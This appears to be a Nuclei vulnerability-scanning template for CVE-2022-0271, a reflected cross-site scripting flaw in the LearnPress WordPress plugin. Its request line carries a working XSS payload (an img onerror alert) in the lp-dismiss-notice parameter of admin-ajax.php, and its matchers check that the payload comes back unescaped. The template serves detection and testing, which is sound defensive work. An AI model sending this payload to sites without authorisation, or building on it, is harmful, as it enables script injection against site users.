id: CVE-2022-0271

info:
  name: LearnPress < 4.1.6 - Reflected Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: The plugin does not sanitise and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action, leading to a Reflected Cross-Site Scripting
  reference:
    - https://wpscan.com/vulnerability/ad07d9cd-8a75-4f7c-bbbe-3b6b89b699f2
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0271
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0271
    cwe-id: CWE-79
  tags: xss,wp,wp-plugin,wordpress,cve,cve2022,learnpress

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx<img%20src=x%20onerror=alert(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"dismissed":"xxx<img src=x onerror=alert(document.domain)>"}'

      - type: word
        words:
          - "text/html"
        part: header

      - type: status
        status:
          - 200